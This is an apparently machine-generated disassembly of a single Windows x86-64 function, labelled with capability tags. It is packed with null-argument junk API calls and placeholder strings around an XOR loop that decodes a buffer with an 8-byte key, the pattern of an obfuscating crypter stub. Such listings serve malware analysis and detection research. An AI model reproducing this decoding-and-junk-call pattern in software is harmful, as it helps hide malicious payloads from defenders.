Function at 0x40bb23
Capabilities:
Clear file content
Set current directory

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xc8
mov rax, qword [0x004cacb0]
cmp dword [rax], 0x9490
mov qword [rsp + 0x90], rcx
mov dword [rsp + 0x9c], edx
mov qword [rsp + 0xa8], r8
jle 0x40c32a
mov rsi, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
call rsi
mov rax, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.Quia_nemo_inventore_debitis_et_perspiciatis_qui_et_nam_neque_voluptate_ut
mov qword [rsp + 0x48], rax
call rax
mov ecx, 0xc014955b
call fcn.00414620
mov rdx, qword [0x004ca520]
mov ecx, 0x5047e27a
mov dword [rdx], eax
call fcn.00414620
mov rdi, qword [0x004ca300]
mov r15, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.KathrynUllrich
mov dword [rdi], eax
call r15
xor ecx, ecx
call rsi
mov rax, qword [0x004ca9f0]
mov rbp, qword [0x004ca410]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rbp], eax
mov rax, qword [0x004ca250]
mov edx, dword [rax]
mov rax, qword [0x004caf30]
mov dword [rax], edx
mov rax, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor edx, edx
mov qword [rsp + 0x50], rax
call rax
mov rbx, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor edx, edx
xor ecx, ecx
call rbx
mov r13, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
call r13
xor r8d, r8d
mov rdi, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor edx, edx
xor ecx, ecx
call rdi
mov ecx, 0xc4a7ab30
call fcn.00414620
mov dword [rbp], eax
mov rax, qword [0x004ca4e0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca1f0]
xor ecx, ecx
mov dword [rdx], eax
call rsi
mov r14, qword [0x004ca450]
mov rax, qword [0x004ca480]
xor ecx, ecx
mov edx, dword [r14]
mov dword [rax], edx
mov rax, qword [0x004ca9c0]
mov edx, dword [rax]
mov rax, qword [0x004caee0]
mov dword [rax], edx
mov rax, qword [sym.imp.KERNEL32.dll_GetFileType]
mov qword [rsp + 0x58], rax
call rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x60], rax
call rax
mov rax, qword [0x004cac00]
xor edx, edx
mov rbp, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor ecx, ecx
mov dword [rax], 0x68b849d
mov rax, qword [0x004ca3f0]
mov dword [rax], 0xcaf370e1
call rbp
mov rax, qword [0x004caa70]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cae10]
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rdi
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov r12, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
call r12
mov rax, qword [0x004ca360]
mov rdx, qword [0x004ca2c0]
xor ecx, ecx
mov dword [rax], 0x1d9444e2
mov rax, qword [0x004ca630]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_SetEvent]
mov qword [rsp + 0x68], rax
call rax
mov rax, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor ecx, ecx
mov qword [rsp + 0x70], rax
call rax
mov ecx, 0x5f1e8f09
call fcn.00414620
mov rdx, qword [0x004ca700]
mov ecx, 0x8272230e
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004ca750]
xor ecx, ecx
mov dword [rdx], eax
call r12
mov rax, qword [sym.imp.KERNEL32.dll_OpenEventA]
xor edx, edx
xor ecx, ecx
lea r8, str.Nihil_molestiae_sit_et_amet_rerum_laborum_consequatur
mov qword [rsp + 0x78], rax
call rax
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004cab10]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cab20]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cad40]
mov rdx, qword [0x004ca800]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004ca3b0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xcf44886c
mov rax, qword [rsp + 0x60]
mov dword [rsp + 0x20], 0
call rax
mov r11, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov eax, dword [r14]
xor ecx, ecx
mov rdx, qword [0x004cac00]
mov qword [rsp + 0xb0], r11
mov dword [rdx], eax
call r11
mov rax, qword [0x004cae70]
mov rdx, qword [0x004caca0]
xor ecx, ecx
mov r14, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004caf50]
mov dword [rax], 0xce4531fd
call r14
xor ecx, ecx
mov rax, qword [rsp + 0x70]
call rax
xor ecx, ecx
call r14
lea rcx, str.FredrickGoldner
call r15
mov r10, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
lea rcx, str.Rem_aut_aut_rem_et_ea_quo_mollitia_qui_ipsam_sed_sint_nulla
mov qword [rsp + 0xa0], r10
call r10
mov rax, qword [0x004ca230]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca670]
mov dword [rax], edx
mov rax, qword [0x004ca7c0]
mov edx, dword [rax]
mov rax, qword [0x004ca990]
mov dword [rax], edx
call r13
mov ecx, 0xac1c0a76
call fcn.00414620
mov rdx, qword [0x004ca320]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbx
xor edx, edx
xor ecx, ecx
call rbp
mov rax, qword [0x004ca9d0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caf20]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbx
mov rbp, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
call rbp
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x30], 0
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
mov rax, qword [0x004ca2c0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cabc0]
xor ecx, ecx
mov dword [rdx], eax
call rsi
mov rax, qword [0x004cae10]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca540]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbx
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [0x004ca580]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004caf70]
mov dword [rax], edx
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
mov qword [rsp + 0x80], rax
call rax
mov rax, qword [0x004ca230]
xor r8d, r8d
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca460]
mov dword [rax], edx
xor edx, edx
call rdi
xor ecx, ecx
call rsi
mov ecx, 0xe45de578
call fcn.00414620
mov r9, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
mov rdx, qword [0x004ca820]
xor ecx, ecx
mov qword [rsp + 0x88], r9
mov dword [rdx], eax
xor edx, edx
call r9
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x70]
call rax
mov ecx, 0xcf8459de
call fcn.00414620
mov rdx, qword [0x004ca380]
lea rcx, str.EstelleOReilly
mov dword [rdx], eax
mov rax, qword [0x004caa60]
mov edx, dword [rax]
mov rax, qword [0x004caa90]
mov dword [rax], edx
mov rax, qword [0x004ca9c0]
mov dword [rax], 0xd61317e8
call r15
mov ecx, 0x2f6a15f7
call fcn.00414620
mov rdx, qword [0x004cae10]
mov ecx, 0x4667092e
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004ca1b0]
lea r8, str.Sint_voluptatem_eos_odit
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x78]
xor ecx, ecx
call rax
xor edx, edx
xor ecx, ecx
call rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rax, qword [0x004ca370]
mov ecx, 0xb5861e43
mov edx, dword [rax]
mov rax, qword [0x004ca9a0]
mov dword [rax], edx
mov rax, qword [0x004cab70]
mov dword [rax], 0x17923bfd
call fcn.00414620
mov r15, qword [0x004ca6f0]
mov ecx, 0x6c6e07ae
mov dword [r15], eax
call fcn.00414620
mov rdx, qword [0x004cadd0]
mov dword [rdx], eax
mov rax, qword [0x004ca550]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca760]
lea rcx, str.DrEdwardoJastPhD
mov dword [rdx], eax
mov rax, qword [rsp + 0x48]
call rax
mov rax, qword [0x004ca700]
lea rcx, str.Eveniet_quidem_beatae_cumque_reiciendis
mov dword [rax], 0x2e611ffa
mov rax, qword [rsp + 0x48]
call rax
xor edx, edx
xor ecx, ecx
mov r9, qword [rsp + 0x88]
call r9
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor ecx, ecx
call r13
xor ecx, ecx
call r13
mov rax, qword [0x004ca5d0]
mov ecx, 0x6ae0ec2d
mov edx, dword [rax]
mov rax, qword [0x004ca490]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004ca510]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x68]
call rax
mov r13, qword [0x004ca280]
mov ecx, dword [r13]
call fcn.00414620
mov rdx, qword [0x004ca3d0]
lea r8, str.Nisi_occaecati_eos_qui_fuga
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x78]
call rax
xor ecx, ecx
call rsi
xor ecx, ecx
call r12
xor edx, edx
xor ecx, ecx
call rbx
mov rsi, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.Eum_voluptas_numquam_praesentium_et_aut_perspiciatis_voluptatum_voluptate
lea rcx, str.Voluptatem_est_rerum_voluptatibus
call rsi
xor r9d, r9d
xor r8d, r8d
mov dword [r13], 0xc226f167
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x60]
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004ca800]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caec0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbp
xor ecx, ecx
call r14
mov rax, qword [0x004ca7e0]
xor ecx, ecx
mov dword [rax], 0x651fd8ac
mov rax, qword [0x004caca0]
mov dword [rax], 0xea0fb4ac
call r12
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004cad50]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x4da903a7
call rdi
mov rax, qword [0x004ca440]
mov r13, qword [0x004cab80]
lea rcx, str.Nihil_hic_eveniet_soluta_enim_veritatis_aut
mov r12, qword [0x004ca350]
mov edx, dword [rax]
mov rax, qword [0x004ca1d0]
mov dword [r12], 0x96c2448
mov dword [rax], edx
mov eax, dword [r13]
mov rdx, qword [0x004ca300]
mov dword [rdx], eax
mov rax, qword [rsp + 0x48]
call rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x004cadb0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x75fed640
mov rax, qword [0x004ca620]
mov dword [rax], 0x2c2a78ca
call rbp
xor edx, edx
xor ecx, ecx
call rbx
xor ecx, ecx
mov rax, qword [rsp + 0x80]
call rax
mov r11, qword [rsp + 0xb0]
xor ecx, ecx
call r11
mov edx, dword [r13]
mov rax, qword [0x004caeb0]
lea rcx, str.Quia_deserunt_et_rerum_similique
mov dword [rax], edx
mov rax, qword [0x004ca7d0]
mov edx, dword [rax]
mov rax, qword [0x004ca570]
mov dword [rax], edx
mov rax, qword [0x004cad90]
mov edx, dword [rax]
mov rax, qword [0x004ca260]
mov dword [rax], edx
lea rdx, str.Et_sit_nisi_sunt_illum_voluptas
call rsi
xor edx, edx
xor ecx, ecx
call rbp
mov rax, qword [0x004cae70]
mov dword [rax], 0x8692eb1d
mov rax, qword [0x004ca9f0]
mov ecx, dword [rax]
call fcn.00414620
lea rdx, str.Corrupti_labore_ea_quo_nesciunt_ratione_asperiores_libero_sit_quod_aperiam_totam
lea rcx, str.Eaque_sunt_vitae_rerum_ut_est_non
mov dword [r12], eax
call rsi
xor edx, edx
lea rcx, str.Quis_dolorum_tempora_et_voluptatum_magni_velit
mov r10, qword [rsp + 0xa0]
call r10
mov rax, qword [0x004cae40]
mov dword [r15], 0xd35895fd
mov edx, dword [rax]
mov rax, qword [0x004ca530]
mov dword [rax], edx
mov rax, qword [0x004ca770]
mov dword [rax], 0x560a58cc
xor r10d, r10d
mov rax, qword [0x004cacb0]
mov dword [rsp + 0x80], r10d
mov eax, dword [rax]
cmp dword [rsp + 0x9c], r10d
jle 0x40d57f
test eax, eax
je 0x40cc01
mov qword [rsp + 0xa0], r10
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
mov rax, qword [0x004cadb0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caba0]
xor ecx, ecx
mov rdi, qword [0x004ca5f0]
mov rbx, qword [sym.imp.KERNEL32.dll_OpenEventA]
lea r8, str.WainoGorczany
mov dword [rdx], eax
mov rax, qword [0x004caaa0]
xor edx, edx
mov dword [rax], 0x44c6eae6
mov rax, qword [0x004ca3e0]
mov eax, dword [rax]
mov dword [rdi], eax
call rbx
mov rax, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
mov qword [rsp + 0x70], rax
call rax
mov rax, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x50], rax
call rax
mov rsi, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor edx, edx
xor ecx, ecx
call rsi
mov r14, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
call r14
mov r11, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.ProfJoshuaWillmsI
lea rcx, str.ArdenSchillerV
mov qword [rsp + 0x88], r11
call r11
mov rax, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x78], rax
call rax
mov rbp, qword [0x004ca300]
mov rdi, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov dword [rbp], 0x6dc20368
call rdi
lea r8, str.Quo_ducimus_odit_id_tempore_accusantium_sit_ratione_autem_ratione
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004caea0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cad60]
xor ecx, ecx
mov dword [rdx], eax
call rdi
xor edx, edx
xor ecx, ecx
call rsi
lea r8, str.Maiores_et_autem_dolorem_eligendi_molestias_voluptatem
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
mov qword [rsp + 0x48], rax
call rax
mov ecx, 0x50358ac7
call fcn.00414620
mov rdx, qword [0x004cae50]
mov r13, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov dword [rdx], eax
call r13
mov rax, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.Alias_voluptates_quae_laboriosam_est_fugiat
mov qword [rsp + 0x58], rax
call rax
mov r12, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
call r12
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextStreamW]
mov rax, qword [0x004ca620]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004ca500]
mov r15, qword [sym.imp.KERNEL32.dll_SetCommMask]
mov dword [rcx], eax
mov rax, qword [0x004ca720]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca580]
mov dword [rax], edx
xor edx, edx
call r15
mov edx, dword [rbp]
mov rax, qword [0x004ca230]
mov dword [rax], edx
mov rax, qword [0x004ca3b0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca550]
xor ecx, ecx
mov dword [rdx], eax
call r12
mov rbp, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
call rbp
mov rax, qword [0x004cae80]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca700]
mov dword [rax], edx
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
mov qword [rsp + 0x60], rax
call rax
mov rax, qword [0x004cad70]
xor edx, edx
xor ecx, ecx
lea r8, str.MsAliyaRauII
mov dword [rax], 0xa134adbb
call rbx
mov rax, qword [0x004ca610]
mov dword [rax], 0x1070ea3c
mov rax, qword [0x004ca710]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004cadc0]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004ca240]
xor ecx, ecx
mov dword [rax], 0xd9674a15
call rdi
mov rax, qword [str.7U5]
mov edx, dword [rax]
mov rax, qword [0x004ca7f0]
mov dword [rax], edx
mov rax, qword [0x004ca730]
mov edx, dword [rax]
mov rax, qword [0x004ca530]
mov dword [rax], edx
mov rax, qword [0x004cae00]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca540]
mov ecx, 0x500bf616
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004ca420]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cac50]
mov dword [rax], 0x142786a1
call r12
mov ecx, 0x58759963
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x004ca990]
mov dword [rcx], eax
mov rax, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x68], rax
call rax
lea rcx, str.MrsLeannaYost
mov rax, qword [rsp + 0x58]
call rax
xor ecx, ecx
call rbp
mov rax, qword [0x004ca7e0]
xor ecx, ecx
mov dword [rax], 0x4a602f85
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor ecx, ecx
mov rax, qword [rsp + 0x48]
call rax
mov rax, qword [0x004cae90]
xor ecx, ecx
mov dword [rax], 0xcfee2035
mov rax, qword [0x004ca270]
mov dword [rax], 0xd49819fd
mov rax, qword [0x004caeb0]
mov dword [rax], 0x954fc9fe
call r13
mov rax, qword [0x004cac10]
lea r8, str.DrElbertFisherJr
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca7a0]
mov dword [rax], edx
mov rax, qword [0x004ca280]
xor edx, edx
mov dword [rax], 0xe78ef745
call rbx
xor ecx, ecx
call rbp
xor edx, edx
xor ecx, ecx
call rsi
mov rax, qword [0x004ca730]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xed3c3815
call rsi
xor ecx, ecx
call r13
mov rax, qword [0x004caee0]
xor ecx, ecx
mov dword [rax], 0x1104fbb
mov rax, qword [0x004caa70]
mov edx, dword [rax]
mov rax, qword [0x004ca1f0]
mov dword [rax], edx
xor edx, edx
call rsi
mov rax, qword [0x004ca640]
xor ecx, ecx
mov dword [rax], 0x1f21f445
call r14
lea r8, str.Quis_officia
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004ca570]
mov ecx, 0x944ad53f
mov dword [rax], 0x465be4d7
call fcn.00414620
mov rdx, qword [0x004ca650]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor edx, edx
xor ecx, ecx
lea r8, str.Dolor_esse_magnam_ut_qui_aut_fugit_non_velit_pariatur_eveniet_velit_consequatur_atque
call rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rax
mov ecx, 0xbb22f694
call fcn.00414620
mov rcx, qword [0x004ca5f0]
mov r14, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov dword [rcx], eax
mov rax, qword [0x004cab50]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca360]
mov dword [rax], edx
xor edx, edx
call r14
lea rcx, str.Nobis_expedita_ullam_facilis_minus_tempora
mov rax, qword [rsp + 0x58]
call rax
xor ecx, ecx
call rbp
mov rax, qword [0x004caf10]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x927a4b6d
mov rax, qword [rsp + 0x68]
mov dword [rsp + 0x20], 0
call rax
mov rax, qword [0x004caad0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca340]
mov ecx, 0x25e2bd1c
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004ca520]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r14
mov ecx, 0xf758617a
call fcn.00414620
mov rdx, qword [0x004ca220]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cac30]
mov dword [rax], 0xd1ad4050
mov rax, qword [0x004cac60]
mov dword [rax], 0x33ee5645
mov rax, qword [0x004ca6b0]
mov edx, dword [rax]
mov rax, qword [0x004cadd0]
mov dword [rax], edx
mov rax, qword [rsp + 0x70]
call rax
mov rax, qword [0x004caa00]
mov ecx, 0xc651ea01
mov edx, dword [rax]
mov rax, qword [0x004ca4d0]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004caf30]
mov ecx, 0xe81b37d3
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004cae70]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca990]
xor edx, edx
mov dword [rax], 0xe872c0cf
call qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
mov rax, qword [0x004ca560]
mov rdx, qword [0x004ca650]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [rsp + 0x48]
call rax
mov rax, qword [0x004cabe0]
mov dword [rax], 0x41e18206
mov rax, qword [0x004ca730]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004ca550]
mov r11, qword [rsp + 0x88]
lea rdx, str.LonzoBraun
mov dword [rcx], eax
lea rcx, str.DrDarrenDibbert
call r11
xor edx, edx
xor ecx, ecx
call r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [str.7U5]
xor ecx, ecx
mov dword [rax], 0x993b5aa2
mov rax, qword [0x004cab70]
mov edx, dword [rax]
mov rax, qword [0x004ca4a0]
mov dword [rax], edx
xor edx, edx
call r14
mov rax, qword [0x004cac20]
mov rdx, qword [0x004ca6c0]
mov dword [rax], 0xc4f52c6
mov rax, qword [0x004ca9a0]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004caeb0]
mov edx, dword [rax]
mov rax, qword [0x004ca330]
mov dword [rax], edx
mov rax, qword [0x004ca390]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca9f0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rsi
xor ecx, ecx
call rdi
mov rax, qword [0x004ca2b0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cad80]
lea r8, str.CliftonDickens
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbx
xor edx, edx
xor ecx, ecx
call r15
mov rax, qword [0x004ca6c0]
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x004caea0]
mov r15, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call r15
mov r14, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
call r14
mov rax, qword [0x004cae80]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cabd0]
mov dword [rax], edx
xor edx, edx
call rsi
xor ecx, ecx
call r14
xor ecx, ecx
mov rax, qword [rsp + 0x48]
call rax
xor ecx, ecx
call r12
mov rax, qword [0x004cabb0]
xor edx, edx
lea rcx, str.ProfJoanyLittle
mov dword [rax], 0xbb2ecf15
mov rax, qword [0x004ca660]
mov dword [rax], 0x9ab0cdfb
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor ecx, ecx
call rdi
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
mov ecx, 0x4c3161d1
call fcn.00414620
mov rsi, qword [0x004ca690]
xor ecx, ecx
mov dword [rsi], eax
call rdi
xor ecx, ecx
call r13
mov ecx, 0x3f0ba600
call fcn.00414620
mov rdi, qword [0x004caee0]
xor edx, edx
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
mov dword [rdi], eax
mov rax, qword [rsp + 0x50]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
mov rax, qword [0x004ca2e0]
xor edx, edx
xor ecx, ecx
lea r8, str.Impedit_aliquam_rerum_magni
mov dword [rax], 0x25928a44
call rbx
mov rax, qword [0x004ca660]
mov rbx, qword [0x004cad40]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rbx], eax
call r13
mov rdi, qword [0x004ca500]
mov eax, dword [rbx]
mov ecx, 0x88cfbad9
mov dword [rdi], eax
call fcn.00414620
mov rdi, qword [0x004cae90]
xor ecx, ecx
mov dword [rdi], eax
mov rax, qword [0x004ca6c0]
mov dword [rax], 0xdca2b119
mov rax, qword [0x004ca410]
mov edx, dword [rax]
mov rax, qword [0x004ca6e0]
mov dword [rax], edx
mov rax, qword [0x004cac10]
mov edx, dword [rax]
mov rax, qword [0x004ca4c0]
mov dword [rax], edx
call r14
xor ecx, ecx
call r12
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r15
mov rax, qword [0x004caee0]
mov ecx, dword [rax]
call fcn.00414620
mov rdi, qword [0x004caad0]
mov dword [rdi], eax
mov rax, qword [0x004ca310]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca430]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cab00]
mov dword [rax], 0x5304350d
call rbp
mov rax, qword [0x004ca990]
mov ecx, 0x44ce6cb2
mov edx, dword [rax]
mov rax, qword [str.Z2iy]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004cae10]
mov ecx, dword [rsi]
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004ca460]
mov r10, qword [rsp + 0xa0]
mov dword [rdx], eax
mov eax, dword [rsp + 0x80]
mov rsi, qword [rsp + 0xa8]
mov rdi, qword [rsp + 0x90]
and eax, 7
mov al, byte [rsi + rax]
xor byte [rdi + r10], al
mov rax, qword [0x004cacb0]
cmp dword [rax], 0
je 0x40d577
mov rax, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov qword [rsp + 0xb8], r10
lea rcx, str.Consequatur_quae_velit_placeat_ut_dolore_modi_blanditiis
mov qword [rsp + 0x58], rax
call rax
mov rax, qword [0x004ca7a0]
xor r8d, r8d
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca410]
mov dword [rax], edx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov rax, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x60], rax
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
lea rcx, str.Ut_reiciendis_ut_totam_dolorum_debitis
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004ca550]
mov ecx, 0xa4038f63
mov dword [rax], 0xc574e354
mov rax, qword [0x004ca260]
mov dword [rax], 0xa4038f63
call fcn.00414620
mov rdx, qword [0x004ca380]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor edx, edx
mov qword [rsp + 0x68], rax
call rax
mov rax, qword [0x004caa30]
mov rbx, qword [str.Z2iy]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004caea0]
mov dword [rbx], 0x82fcd4b2
mov dword [rax], edx
mov rax, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov qword [rsp + 0xa0], rax
call rax
mov ecx, 0x5c47df4e
call fcn.00414620
mov rdx, qword [0x004ca990]
mov dword [rdx], eax
mov rax, qword [0x004ca6d0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca9d0]
mov rsi, qword [0x004ca540]
xor ecx, ecx
mov dword [rdx], eax
